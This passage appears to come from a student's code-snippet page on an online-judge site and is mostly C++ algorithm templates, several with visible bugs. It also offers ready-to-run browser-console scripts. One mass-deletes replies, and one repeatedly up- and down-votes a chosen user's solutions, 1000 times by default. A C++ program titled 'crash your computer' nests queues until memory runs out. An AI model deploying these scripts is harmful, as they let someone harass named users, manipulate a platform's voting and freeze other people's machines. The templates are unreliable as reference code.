addEdge(node1, node2, weight); addEdge(node2, node1, weight); } inline bool delBidDege(const _VTp& node1, const _VTp& node2, const _Tp& weight=MAX) { return delEdge(node1, node2, weight) && delEdge(node2, node1, weight); } void clear() { for (int i = 1; i <= _vn; i++) { _outEdge[i].clear(); _inEdge[i].clear(); } this->clearMap(); _vn = 0; } iterator begin(); iterator end(); }; int bdistances[20000]; template <typename _Tp, typename _VTp> class SingleSPathFinder { private: typedef vector<vector<_VTp> > __vct; static const int N = 100000; vector<int> _prev[N]; int _startn; _Tp _init; public: static const int NO_WAY = 2139062143; Graph<_Tp, _VTp> *graph; struct edge { int node; _Tp weight; bool operator <(edge other)const { return weight > other.weight; } }; SingleSPathFinder(_Tp init = NO_WAY): _startn(0), _init(init), graph(new Graph<_Tp, _VTp>()) {} SingleSPathFinder(Graph<_Tp, _VTp>* graph, _Tp init=NO_WAY): _startn(0), _init(init), graph(graph) {} void addEdge(const _VTp& start, const _VTp& end, const _Tp& weight=1, const bool& flip=false) { graph->addEdge(start, end, weight); if (flip) { } } void delEdge(const _VTp& start, const _VTp& end, const bool& flip=false, const _Tp& weight=NO_WAY) { graph->delEdge(start, end, weight); if (flip) { } } inline void addBidEdge(const _VTp& node1, const _VTp& node2, const _Tp& weight=1, const bool& flip=false) { graph->addBidEdge(node1, node2, weight); if (flip) this->dijkstra(_startn); } inline bool delBidDege(const _VTp& node1, const _VTp& node2, const bool& flip=false, const _Tp& weight=NO_WAY) { bool success = graph->delBidEdge(node1, node2, weight); if (flip) this->dijksrta(_startn); return success; } inline void clear() { graph->clear(); } void dijkstra(const _VTp& start, _Tp (*add)(_Tp,_Tp)=[](_Tp a,_Tp b){return a+b;}, bool (*compare)(_Tp,_Tp)=[](_Tp a,_Tp b){return a<b;}, _Tp init=NO_WAY) { if (init == NO_WAY) init = _init; _startn = graph->_mapn[start]; bool visited[graph->_vn + 1]; priority_queue<edge> q; for (int i = 0; i <= graph->_vn; i++) { bdistances[i] = init; visited[i] = 0; } q.push({_startn, 0}); bdistances[_startn] = 0; while (!q.empty()) { int x = q.top().node; q.pop(); if (visited[x]) continue; visited[x] = true; for (auto y: graph->_outEdge[x]) { int d = add(bdistances[x], y.weight); if (compare(d, bdistances[y.node])) { bdistances[y.node] = d; _prev[y.node].clear(); _prev[y.node].push_back(x); q.push({y.node, d}); } else if (d == bdistances[y.node]) { _prev[y.node].push_back(x); } } } } void spfa(const _VTp& start, _Tp (*add)(_Tp, _Tp)=[](_Tp a, _Tp b){return a+b;}, bool (*compare)(_Tp, _Tp)=[](_Tp a, _Tp b){return a<b;}, _Tp init=NO_WAY) { if (init == NO_WAY) init = _init; _startn = graph->_mapn[start]; bool visited[graph->_vn + 1]; queue<int> q; for (int i = 0; i <= graph->_vn; i++) { bdistances[i] = init; visited[i] = 0; } q.push(_startn); bdistances[_startn] = 0; visited[_startn] = true; while (!q.empty()) { int x = q.front(); q.pop(); visited[x] = false; for (auto y: graph->_outEdge[x]) { _Tp d = add(bdistances[x], y.weight); if (compare(d, bdistances[y.node])) { bdistances[y.node] = d; _prev[y.node].clear(); _prev[y.node].push_back(x); if (!visited[y.node]) { visited[y.node] = true; q.push(y.node); } } else if (d == bdistances[y.node]) { _prev[y.node].push_back(x); } } } } _Tp distance(const _VTp& end) { return bdistances[graph->_mapn[end]]; } __vct path(const _VTp& end) { int endn = graph->_mapn[end]; __vct paths; if (_startn == endn) { paths.push_back(*new vector<_VTp>()); paths[0].push_back(end); } else for (auto node: _prev[endn]) { __vct _ptPaths = this->path(graph->_mapv[node]); for (auto path: _ptPaths) { path.push_back(end); paths.push_back(path); } } return paths; } }; double distances[1001][1001]; template <typename _Tp, typename _VTp> class AllPairsPathFinder { private: static const int N = 1000; _Tp _init; public: static const int NO_WAY = 2139062143; Graph<_Tp, _VTp>* graph; void initDis() { for (int i = 0; i <= N; i++) { for (int j = 0; j <= N; j++) { distances[i][j] = _init; } } for (int i = 1; i <= graph->_vn; i++) { for (auto j: graph->_outEdge[i]) { distances[i][j.node] = j.weight; } } } AllPairsPathFinder(_Tp init=NO_WAY): _init(init), graph(new Graph<_Tp, _VTp>()) { this->initDis(); } AllPairsPathFinder(Graph<_Tp, _VTp>* graph, _Tp init=NO_WAY): _init(init), graph(graph) { this->initDis(); } void addEdge(const _VTp& start, const _VTp& end, const _Tp& weight=1, const bool& flip=false) { graph->addEdge(start, end, weight); if (flip) { for (int i = 1; i <= graph->_vn; i++) { if (distances[i][start] = NO_WAY) continue; } } } void delEdge(const _VTp& start, const _VTp& end, const bool& flip=false, const _Tp& weight=NO_WAY) { graph->delEdge(start, end, weight); if (flip) { } } inline void addBidEdge(const _VTp& node1, const _VTp& node2, const _Tp& weight=1, const bool& flip=false) { graph->addBidEdge(node1, node2, weight); if (flip) this->dijkstra(_startn); } inline bool delBidDege(const _VTp& node1, const _VTp& node2, const bool& flip=false, const _Tp& weight=NO_WAY) { bool success = graph->delBidEdge(node1, node2, weight); if (flip) this->dijksrta(_startn); return success; } inline void clear() { graph->clear(); } void floyd (_Tp (*add)(_Tp,_Tp)=[](_Tp a,_Tp b) {return (_Tp)min((long double)NO_WAY,(long double)a+(long double)b);}, bool (*compare)(_Tp,_Tp)=[](_Tp a,_Tp b){return a<b;}) { this->initDis(); for (int k = 1; k <= graph->_vn; k++) { for (int i = 1; i <= graph->_vn; i++) { for (int j = 1; j <= graph->_vn; j++) { _Tp d = add(distances[i][k], distances[k][j]); if (compare(d, distances[i][j])) distances[i][j] = d; } } } } _Tp distance(const _VTp& start, const _VTp& end) { return distances[graph->_mapn[start]][graph->_mapn[end]]; } vector<_VTp> path(const _VTp& start, const _VTp& end) { // TODO: sort the path int usPath[N + 1]; int verCnt = 0; vector<_VTp> _path; int sn = graph->_mapn[start]; int en = graph->_mapn[end]; for (int i = 1; i <= graph->_vn; i++) { if (distances[sn][i] + distances[i][en] == this->distance(start, end)) { usPath[++verCnt] = i; } } _path.push_back(start); bool visited[N + 1]; for (int i = 1; i <= N; i++) visited[i] = 0; visited[sn] = 1; for (int i = 1; i < verCnt; i++) { // 枚举当前路径最后一个节点 for (int j = 1; j <= verCnt; j++) { if (visited[j]) continue; int x = usPath[j]; // 枚举未被访问的节点 cout << _path[i-1] << ": "; for (auto k: graph->_outEdge[graph->_mapn[_path[i - 1]]]) { cout << graph->_mapv[k.node] << ' '; // 枚举当前路径末尾的出度节点 // j 与 k 相同则将 j 加入路径,成为路径的最后一个 if (x == k.node) { // && 距离 == 邻接表距离 visited[x] = 1; _path.push_back(graph->_mapv[x]); break; } } cout << endl; } } return _path; } }; int main() { AllPairsPathFinder<int, string> pf; pf.graph->addBidEdge("a", "c", 100); pf.graph->addBidEdge("b", "d", 3); pf.graph->addBidEdge("a", "d", 5); pf.graph->addBidEdge("b", "c", 7); pf.floyd(); cout << pf.distance("a", "c") << endl; for (auto node: pf.path("a", "c")) { cout << node << ' '; } // a d b c cout << endl; return 0; }
随手(原创)
一键删除回复
(function(UID) { if (UID == -1) { var delButtons = document.querySelectorAll('.icon-delete'); delButtons.forEach(button => button.click()); } else { var nodes = document.querySelectorAll('li.dczcomments__item'); nodes.forEach(node => { var ids = node.querySelectorAll(`[href="/d/puji/user/${UID}"]`); if (ids.length > 0) { var button = node.querySelector('.icon-delete'); button.click(); } }); } (async function(time) { await new Promise(resolve => setTimeout(resolve, time)); })(100); var yesButtons = document.querySelectorAll('button[data-action="yes"]'); yesButtons.forEach(button => button.click()); })(-1); // 此处数字为指定UID,-1自动删除所有
一键踩题解
(async function(UID, tjID, optTp, rptNum) { async function delay(time) { await new Promise(resolve => setTimeout(resolve, time)); } if (UID == -1) { var upBts = document.querySelectorAll('.icon-vote--up'); var downBts = document.querySelectorAll('.icon-vote--down'); if (optTp) for (const button of downBts) button.click(); else for (const button of upBts) button.click(); await delay(100); for (var i = 0; i < rptNum; i++) { for (const button of upBts) button.click(); for (const button of downBts) button.click(); } } else { var nodes = document.querySelectorAll('li.dczcomments__item'); for (const node of nodes) { var title = node.querySelectorAll('div.clearfix')[0]; if (window.location.pathname.charAt(1) !== 'd') var path = `/user/${UID}`; else var path = `/d/${window.location.pathname.split("/")[2]}/user/${UID}` if (title.querySelector(`[href="${path}"]`) != null && !(--tjID)) { var upBt = node.querySelector('.icon-vote--up'); var downBt = node.querySelector('.icon-vote--down'); var bt = [upBt, downBt]; for (var i = 0; i < rptNum / 10; i++) { await delay(500); if (optTp) downBt.click(); else upBt.click(); await delay(1000); for (var j = 0; j < 10; j++) { bt[optTp].click(); // await delay(50); bt[1-optTp].click(); // await delay(50); } } } }; } })(1, 1, 0, 1000); // 首参数为UID,-1自动踩下所有题解 // 第二个是选定用户的第几个题解 // 第三个参数为踩/赞 // 第四个是重复次数
成品(原创)
手搓造数据模版
#include <windows.h> #include <iostream> #include <string.h> #include <stdarg.h> #include <time.h> #include <cmath> #define rpt(x,l) for(int x(1),x##END(l);x<=x##END;x++) #define rwf(x,f,l) for(int x(f),x##ST(f),x##END(l);\ x##END>x##ST?x<=x##END:x>=x##END;x##END>x##ST?x++:x--) typedef long long ll; const int N = 1010; const int testCnt = 100; using namespace std; /* 随机数命名空间 */ namespace randoms { #define extern template <typename _Tp> #define multiArgs template <typename _Tp, typename... Args> extern _Tp random(_Tp x, _Tp y) { return (_Tp)rand() * (_Tp)rand() % (y - x + 1) + x; } int rands(const int& n, ...) { va_list v; va_start(v, n); int rid = random(1, n); int res, _; rpt(i, n) { if (i != rid) _ = va_arg(v, int); else res = va_arg(v, int); } va_end(v); return res; } } /* 输出命名空间 */ namespace cvprints { using namespace randoms; inline void print() { cout << endl; } multiArgs inline void print(_Tp x, Args... args) { cout << x << ' '; print(args...); } extern _Tp putRandom(_Tp& x, const _Tp& a, const _Tp& b) { cout << (x = random(a, b)) << endl; return x; } multiArgs _Tp putRands(_Tp& x, const int& n, Args... args) { cout << (x = (_Tp)rands(n, args...)); return x; } } using namespace cvprints; /* 文件输出类 */ class testMaker { private: void (*__makeInput)(const int&); void (*__makeOutput)(const int&); string __insuff, __outsuff; public: string _path; testMaker(string path, void (*makeInput)(const int&), void (*makeOutput)(const int&), string inSuf=".in", string outSuf=".out"): _path(path), __makeInput(makeInput), __makeOutput(makeOutput), __insuff(inSuf), __outsuff(outSuf) { srand(time(0)); } void goTo(int x, int y) { SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),(COORD){x,y}); } int log10(int x) { return x < 10 ? 1 : log10(x / 10) + 1; } inline void openFile(string _path, string _suff, int& _testNum, bool ostream=1) { string path = _path + to_string(_testNum) + _suff; if (ostream) { fclose(stdout); freopen(path.c_str(), "w", stdout); } else { fclose(stdin); freopen(path.c_str(), "r", stdin); } } inline void make(const int& _testCnt) { rpt(t, _testCnt) { int proccess = t * 1.0 / _testCnt * 100; string title = "创建进度:" + to_string(proccess) + "%"; SetConsoleTitleA(title.c_str()); cout << _path << t << __insuff << " making..."; openFile(_path, __insuff, t, 1); this->__makeInput(t); freopen("CON", "w", stdout); this->goTo(_path.size() + __insuff.size() + 1 + log10(t), (t-1) * 2); print("success!"); cout << _path << t << __outsuff << " making..."; openFile(_path, __insuff, t, 0); openFile(_path, __outsuff, t, 1); this->__makeOutput(t); freopen("CON", "w", stdout); this->goTo(_path.size() + __outsuff.size() + 1 + log10(t), t * 2 - 1); print("success!"); } } }; /* 原题目输入数据,正常输入输出 */ void makeInput(const int& _key) { } /* 原题目AC代码,正常输入输出 */ void makeOutput(const int& t) { } int main() { testMaker tmd("C:\\Users\\Lenovo\\Desktop\\data", makeInput, makeOutput, ".in", ".out"); tmd.make(10); return 0; }
手搓线段树模板
/* by: 2022tysc1016 注:传入SegmentTree的初始化vector,从[1]开始 */ #include <vector> using namespace std; #define joking(name,x) template <typename __Tp> struct name { \ __Tp (*joke)(__Tp, __Tp) = [](__Tp a, __Tp b){ return x; }; \ __Tp operator ()(const __Tp& __a, const __Tp& __b) const \ { return joke(__a, __b); } \ }; joking(Add, a + b); joking(Multy, a * b); joking(Max, max(a, b)); joking(Min, min(a, b)); template <class _Tp = int, class _Counting=Add<_Tp>, class _Flipping=Multy<_Tp>> class SegmentTree { private: struct node { int left, right; _Tp sum, flip; }; vector<node> _tree; vector<_Tp> _data; int _n; public: void build(const int& u, const _Tp& d, const int& l=1, const int& r=1) { if (l == r) { if (d == -1) _tree[u] = {l, r, _data[l], 0}; else _tree[u] = {l, r, d, 0}; return; } else _tree[u] = {l, r, 0, 0}; int mid = (l + r) >> 1; build(u * 2, d, l, mid); build(u * 2 + 1, d, mid + 1, r); pushUp(u); } SegmentTree(const int& __n=114514, const _Tp& __v=0): _tree(4 * __n), _n(__n) { this->build(1, __v, 1, __n); } SegmentTree(const vector<_Tp> __data, const int& __n): _tree(4 * __data.size()), _data(__data), _n(__n) { this->build(1, -1, 1, __data.size() - 1); } inline void pushUp(const int& u) { _tree[u].sum = _Counting()(_tree[u << 1].sum, _tree[u << 1 | 1].sum); } inline void pushDown(const int& u) { node &father = _tree[u], &left = _tree[u << 1], &right = _tree[u << 1 | 1]; if (father.flip) { left.flip = _Counting()(left.flip, father.flip); right.flip = _Counting()(right.flip, father.flip); left.sum = _Counting()(left.sum, _Flipping()(father.flip, left.right - left.left + 1)); right.sum = _Counting()(right.sum, _Flipping()(father.flip, right.right - right.left + 1)); father.flip = 0; } } void update(const int& n, const _Tp& d, const int& u=1) { node &father = _tree[u]; if (father.left > n || father.right < n) return; if (father.left == n && father.right == n) { father.sum = d; } else { int mid = (father.left + father.right) >> 1; if (n <= mid) update(n, d, u << 1); else update(n, d, u << 1 | 1); pushUp(u); } } void modify(const int& l, const int& r, const _Tp& d, const int& u=1) { node &father = _tree[u]; if (l <= father.left && r >= father.right) { father.sum = _Counting()(father.sum, _Flipping()(father.right - father.left + 1, d)); father.flip = _Counting()(father.flip, d); } else { pushDown(u); int mid = (father.left + father.right) >> 1; if (l <= mid) modify(l, r, d, u << 1); if (r > mid) modify(l, r, d, u << 1 | 1); pushUp(u); } } _Tp query(const int& l, const int& r, const _Tp& noneVal=0, const int& u=1) { node &father = _tree[u]; if (l > father.right || r < father.left) return noneVal; if (l <= father.left && r >= father.right) return father.sum; this->pushDown(u); int mid = (father.left + father.right) >> 1; _Tp res1 = noneVal, res2 = noneVal; if (l <= mid) res1 = query(l, r, noneVal, u << 1); if (r > mid) res2 = query(l, r, noneVal, u << 1 | 1); return _Counting()(res1, res2); } };
手搓树状数组模板
/* by: 2022tysc1016 */ #include <vector> template <class _Tp=int> class FenwickTree { private: vector<_Tp> _tree; int _n; public: template <typename __Tp> inline __Tp lowbit(const __Tp& __x) { return __x & -__x; } FenwickTree(const int& n): _tree(_n = n) {} FenwickTree(vector<_Tp> data): FenwickTree(data.size() - 1) { for (int i = 1; i <= _n; i++) { _tree[i] += data[i]; if (i + lowbit(i) <= _n) { _tree[i + lowbit(i)] += _tree[i]; } } } inline void clear() { _tree.clear(); } inline void add(const int& id, const _Tp& value) { for (int i = id; i <= _n; i += lowbit(i)) _tree[i] += value; } inline _Tp sum(const int& start=1, const int& end=-1) { int _sum1 = 0, _sum2 = 0; for (int i = start - 1; i > 0; i -= lowbit(i)) _sum1 += _tree[i]; for (int i = (end == -1 ? _n:end); i > 0; i -= lowbit(i)) _sum2 += _tree[i]; return _sum2 - _sum1; } };
手搓图论模版
/* by: 2022tysc1016 施工中... */ #include <iostream> #include <cstring> #include <climits> #include <vector> #include <queue> #include <map> using namespace std; template <typename _T, typename _VT> class SingleSPathFinder; template <typename _T, typename _VT> class MultiSPathFinder; template <typename _T, typename _VT> class Graph { public: struct edge { int node; _T weight; bool operator <(edge other)const { return weight > other.weight; } }; private: typedef vector<vector<edge> > graphType; static const int N = 10000; graphType _outEdge; graphType _inEdge; map<_VT, int> _mapn; _VT _mapv[N]; int _vn; public: template <typename __T, typename __VT> friend class SingleSPathFinder; template <typename __T, typename __VT> friend class MultiSPathFinder; Graph(): _outEdge(N), _inEdge(N), _mapn({}), _vn(0) {} Graph(const graphType& graph): _outEdge(graph), _inEdge(N), _vn(0) { _vn = _outEdge.size(); for (int i = 1; i <= _vn; i++) { for (int j = 0; j < _vn; j++) { _inEdge[_outEdge[i][j]].push_back(i); } } } Graph(const map<_VT, vector<edge> >& graph, _VT* mapv, int n): _inEdge(N), _mapv(mapv), _outEdge(N), _vn(n) { for (int i = 1; i <= _vn; i++) { for (int j = 0; j < _vn; j++) { _inEdge[_outEdge[i][j]].push_back(i); } } for (int i = 1; i <= n; i++) { _mapn[_mapv[i]] = i; } for (int i = 1; i <= n; i++) { for (auto j: graph[mapv[i]]) { _outEdge[i].push_back(_mapn[j.node]); } } } inline void addEdge(const _VT& start, const _VT& end, const _T& weight=1) { int startn = _mapn[start], endn = _mapn[end]; if (startn == 0) { _vn++; startn = _mapn[start] = _vn; _mapv[_vn] = start; } if (endn == 0) { _vn++; endn = _mapn[end] = _vn; _mapv[_vn] = end; } _outEdge[startn].push_back({endn, weight}); _inEdge[endn].push_back({startn, weight}); } inline void addBidEdge(const _VT& node1, const _VT& node2, const _T& weight=1) { addEdge(node1, node2, weight); addEdge(node2, node1, weight); } void clear() { for (int i = 1; i <= _vn; i++) { _outEdge[i].clear(); _inEdge[i].clear(); _VT _; _mapv[i] = _; } _mapn.clear(); _vn = 0; } }; int bdistances[20000]; template <typename _T, typename _VT> class SingleSPathFinder { private: Graph<_T, _VT> *_graph; static const int NO_WAY = 2139062143; static const int N = 100000; int _prev[N]; int _startn; _T _init; public: struct edge { int node; _T weight; bool operator <(edge other)const { return weight > other.weight; } }; SingleSPathFinder(Graph<_T, _VT>* graph, _T init=NO_WAY): _graph(graph), _startn(0), _init(init) {}; void dijkstra(const _VT& start, _T (*add)(_T,_T)=[](_T a,_T b){return a+b;}, bool (*compare)(_T,_T)=[](_T a,_T b){return a<b;}, _T init=NO_WAY) { if (init == NO_WAY) init = _init; _startn = _graph->_mapn[start]; bool visited[_graph->_vn + 1]; priority_queue<edge> q; for (int i = 0; i <= _graph->_vn; i++) { bdistances[i] = init; visited[i] = 0; } q.push({_startn, 0}); bdistances[_startn] = 0; while (!q.empty()) { int x = q.top().node; q.pop(); if (visited[x]) continue; visited[x] = true; for (auto y: _graph->_outEdge[x]) { int d = add(bdistances[x], y.weight); if (compare(d, bdistances[y.node])) { bdistances[y.node] = d; _prev[y.node] = x; q.push({y.node, d}); } } } } void spfa(const _VT& start, _T (*add)(_T, _T)=[](_T a, _T b){return a+b;}, bool (*compare)(_T, _T)=[](_T a, _T b){return a<b;}, _T init=NO_WAY) { if (init == NO_WAY) init = _init; _startn = _graph->_mapn[start]; bool visited[_graph->_vn + 1]; queue<int> q; for (int i = 0; i <= _graph->_vn; i++) { bdistances[i] = init; visited[i] = 0; } q.push(_startn); bdistances[_startn] = 0; visited[_startn] = true; while (!q.empty()) { int x = q.front(); q.pop(); visited[x] = false; for (auto y: _graph->_outEdge[x]) { _T d = add(bdistances[x], y.weight); if (compare(d, bdistances[y.node])) { bdistances[y.node] = d; _prev[y.node] = x; if (!visited[y.node]) { visited[y.node] = true; q.push(y.node); } } } } } _T distance(const _VT& end) { return bdistances[_graph->_mapn[end]]; } vector<_VT> path(const _VT& end) { vector<_VT> path; int repath[_graph->_vn + 1]; int en = _graph->_mapn[end]; int nodeCnt = 0; while (en != _startn) { repath[++nodeCnt] = en; en = _prev[en]; } path.push_back(_graph->_mapv[_startn]); do path.push_back(_graph->_mapv[repath[nodeCnt--]]); while (nodeCnt); return path; } }; int distances[1001][1001]; template <typename _T, typename _VT> class MultiSPathFinder { private: Graph<_T, _VT>* _graph; static const int NO_WAY = 2139062143; static const int N = 1000; _T _init; public: MultiSPathFinder(Graph<_T, _VT>* graph, _T init=NO_WAY): _graph(graph), _init(init) {}; void floyd (_T (*add)(_T,_T)=[](_T a,_T b) {return (_T)min((long double)NO_WAY,(long double)a+(long double)b);}, bool (*compare)(_T,_T)=[](_T a,_T b){return a<b;}) { for (int k = 1; k <= _graph->_vn; k++) { for (int i = 1; i <= _graph->_vn; i++) { for (int j = 1; j <= _graph->_vn; j++) { _T d = add(distances[i][k], distances[k][j]); if (compare(d, distances[i][j])) distances[i][j] = d; } } } } _T distance(const _VT& start, const _VT& end) { return distances[_graph->_mapn[start]][_graph->_mapn[end]]; } vector<_VT> path(const _VT& start, const _VT& end) { // TODO: sort the path vector<_VT> _path; int sn = _graph->_mapn[start]; int en = _graph->_mapn[end]; for (int i = 1; i <= _graph->vn; i++) { if (distances[sn][i] + distances[i][en] == this->distance(start, end)) { _path.push_back(_graph->_mapv(i)); } } return _path; } }; int main() { /* Create a Graph */ Graph<int, string> graph; /* Add some edges to it */ graph.addEdge("a", "b", 5); graph.addEdge("b", "c", 6); graph.addEdge("b", "d", 2); graph.addEdge("d", "c", 3); /* Create a Path Finder */ SingleSPathFinder<int, string> pathfinder(&graph); /* Use DIJKSTRA to find SHORTEST path */ pathfinder.dijkstra("a"); /* print the DISTANCE between the node "a" and the node "c" */ cout << pathfinder.distance("c") << endl; /* ANSWER: 10 */ /* CLEAR the Graph with g.clear() */ /* Then you can use it again WITHOUT create a new Graph */ graph.clear(); /* Add some edges to it AGAIN */ graph.addBidEdge("a", "c", 100); graph.addBidEdge("b", "d", 3); graph.addBidEdge("a", "d", 5); graph.addBidEdge("b", "c", 7); /* Use SPFA to find SHORTEST path */ pathfinder.spfa("a"); /* print the DISTANCE between the NEW node "a" and NEW node "c" */ cout << pathfinder.distance("c") << endl; /* ANSWER: 15 */ /* Print the PATH from node "a" and node "c" */ for (auto node: pathfinder.path("c")) { cout << node << ' '; } return 0; }
手搓链表模版
/* by: 2022tysc1016 可正常使用,可用迭代器 */ template <class _T> class List { public: struct node { _T data; node *prev; node *next; }; struct iterator { node *__p; iterator operator ++() { iterator _p = *this; __p = __p->next; return _p; } iterator operator --() { iterator _p = *this; __p = __p->prev; return _p; } iterator operator ++(int) { __p = __p->next; return *this; } iterator operator --(int) { __p = __p->prev; return *this; } iterator operator +(int x) { iterator _p = *this; while (x--) _p++; return _p; } iterator operator -(int x) { iterator _p = *this; while (x--) _p--; return _p; } iterator operator +=(int x) { while (x--) __p = __p->next; return *this; } iterator operator -=(int x) { while (x--) __p = __p->prev; return *this; } _T operator *() { return __p->data; } int operator -(iterator other) { iterator _it1, _it2; _it1.__p = this->__p; int i; for (i = 0; _it1.__p != NULL && _it1 != other; i++, _it1++); if (_it1.__p != NULL) return -i; _it2.__p = other.__p; for (i = 0; _it2.__p != NULL && _it2 != *this; i++, _it2++); if (_it2.__p != NULL) return i; return 2147483647; } bool operator ==(iterator other) { return __p == other.__p; } bool operator !=(iterator other) { return __p != other.__p; } bool operator >(iterator other) { return *this - other > 0; } bool operator <(iterator other) { return *this - other < 0; } bool operator >=(iterator other) { return *this - other >= 0; } bool operator <=(iterator other) { return *this - other <= 0; } }; List() : __size(0) { __head = new node; __end = __head; } ~List() { clear(); delete __head; } void push_front(const _T& x) { node *_p = new node; _p->data = x; _p->next = __head; _p->prev = NULL; __head->prev = _p; __head = _p; __size++; } void push_back(const _T& x) { node *_p = new node; __end->data = x; __end->next = _p; _p->prev = __end; _p->next = NULL; __end = _p; __size++; } void pop_front() { node *_p = __head->next; _p->prev = NULL; delete __head; __head = _p; __size--; } void pop_back() { node *_p = __end->prev; _p->next = NULL; delete __end; __end = _p; __size--; } void insert(iterator p, const _T& x) { if (p == begin()) push_front(x); else if (p == end() + 1) push_back(x); else { node *_p = new node; _p->data = x; _p->next = p.__p; _p->prev = p.__p->prev; p.__p->prev->next = _p; p.__p->prev = _p; __size++; } } void erase(iterator p) { if (p == begin()) pop_front(); else if (p == end() - 1) pop_back(); else { p.__p->prev->next = p.__p->next; p.__p->next->prev = p.__p->prev; delete p.__p; __size--; } } void clear() { node *_p = __head; while (__size) { __size--; node *_l = _p->next; delete _p; _p = _l; } __head = __end; __head->next = NULL; __head->prev = NULL; } inline int size() { return __size; } inline bool empty() { return __size == 0; } inline iterator begin() { iterator it; it.__p = __head; return it; } inline iterator end() { iterator it; it.__p = __end; return it; } private: int __size; node *__head; node *__end; };
手搓并查集模板
#include <vector> #include <iostream> using namespace std; template <typename _T> class DisjointSet { private: vector<_T> parents; vector<int> ranks; int _size; public: DisjointSet(const int& num) : _size(num) { for (int i = 0; i <= num * 2; i++) { parents.push_back(i); ranks.push_back(1); } } DisjointSet(const vector<_T>& elements) { for (const _T& element: elements) { parents.push_back(element); ranks.push_back(1); } } inline _T find(_T x) { if (parents[x] == x) return x; else return parents[x] = find(parents[x]); } inline bool query(_T x, _T y) { return find(x) == find(y); } inline int size(_T x) { return ranks[find(x)]; } inline void unite(_T x, _T y) { _T fx = find(x), fy = find(y); if (fx == fy) return; if (ranks[fx] > ranks[fy]) { parents[fy] = fx; ranks[fx] += ranks[fy]; } else { parents[fx] = fy; ranks[fy] += ranks[fx]; } } inline void oppose(_T x, _T y) { unite(x, y + _size); unite(y, x + _size); } };
手搓二分模板
template <typename T> inline T *lowerBound(T *start, T *end, T find) { ++end; --start; while (end - start > 1) { T *mid = start + (end - start) / 2; if (find <= *mid) end = mid; else start = mid; } return end; } template <typename T> inline T *lowerBound(T *start, T *end, bool (*cmp)(T)) { ++end; --start; while (end - start > 1) { T *mid = start + (end - start) / 2; if ((*cmp)(*mid)) end = mid; else start = mid; } return end; } template <typename T> inline T lowerBound(T start, T end, bool (*cmp)(T)) { ++end; --start; while (end - start > 1) { T mid = start + (end - start) / 2; if ((*cmp)(mid)) end = mid; else start = mid; } return end; } template <typename T> inline T *upperBound(T *start, T *end, T find) { ++end; --start; while (end - start > 1) { T *mid = start + (end - start) / 2; if (find > *mid) end = mid; else start = mid; } return end; } template <typename T> inline T *upperBound(T *start, T *end, bool (*cmp)(T)) { ++end; --start; while (end - start > 1) { T *mid = start + (end - start) / 2; if (!(*cmp)(*mid)) end = mid; else start = mid; } return end; } template <typename T> inline T upperBound(T start, T end, bool (*cmp)(T)) { ++end; --start; while (end - start > 1) { T mid = start + (end - start) / 2; if (!(*cmp)(mid)) end = mid; else start = mid; } return end; } bool cmp(int x) { return k <= x; // k为目标数 }
连点器
#include <windows.h> #include <stdarg.h> #include <iostream> #include <time.h> #define Down(x) mouse_event(x,0,0,0,0) #define isDown(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0) #define N 2 #define PERIOD_TIME 200 #define ARG_T(t) t #define ARG_N(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, a49, a50, a51, a52, a53, a54, a55, a56, a57, a58, a59, a60, a61, a62 ,a63, a64, a65, a66, a67, a68, a69, a70, a71, a72, a73, a74, a75, a76, a77, a78, a79, a80, a81, a82, a83, a84, a85, a86, a87, a88, a89, a90, a91, a92, a93, a94, a95, a96, a97, a98, a99, a100, N, ...) N #define ARG_N_HELPER(...) ARG_T(ARG_N(__VA_ARGS__)) #define COUNT_ARG(...) ARG_N_HELPER(__VA_ARGS__, 100, 99, 98, 97, 96, 95, 94 ,93, 92, 91, 90, 89, 88, 87 ,86, 85, 84, 83, 82, 81, 80, 79, 78, 77, 76, 75, 74, 73 ,72, 71, 70, 69, 68, 67, 66, 65, 64, 63, 62, 61, 60, 59, 58, 57, 56, 55, 54, 53, 52, 51, 50, 49, 48, 47, 46, 45, 44, 43, 42, 41, 40, 39, 38, 37, 36, 35, 34, 33, 32, 31, 30, 29, 28, 27, 26, 25, 24, 23, 22, 21, 20, 19, 18, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 4, 3, 2, 1, 0) #define allDown(n, ...) __allDown(n, COUNT_ARG(__VA_ARGS__), __VA_ARGS__) using namespace std; bool bStart = true; long long lClick = 0; long long getTime() { SYSTEMTIME currentTime; GetSystemTime(¤tTime); return currentTime.wMilliseconds + time(0) * 1000; } bool __allDown(int cnt, ...) { va_list v; va_start(v, cnt); for (int i = 1; i <= cnt; i++) { if (!isDown(va_arg(v, int))) return false; } va_end(v); return true; } int main() { while (!isDown(VK_ESCAPE)) { if (isDown(VK_MBUTTON)) { Down(MOUSEEVENTF_LEFTDOWN); Down(MOUSEEVENTF_LEFTUP); Sleep(N); } if (isDown(VK_MENU) && isDown(VK_RETURN) && getTime() - lClick > PERIOD_TIME) { lClick = getTime(); bStart = !bStart; cout << "!" << endl; } } return 0; }
卡爆你的电脑
#include <queue> #define rep(x, times) for (int x = 0; x < (times); x++) using namespace std; void crash1() { queue < long long > q1; queue < queue < long long > > q2; queue < queue < queue < long long > > > q3; queue < queue < queue < queue < long long > > > > q4; queue < queue < queue < queue < queue < long long > > > > > q5; rep(i, 300) q1.push(1); rep(i, 300) q2.push(q1); rep(i, 300) q3.push(q2); rep(i, 300) q4.push(q3); rep(i, 500) q5.push(q4); } int main() { crash1(); return 114514; }
猫国建设者作弊代码
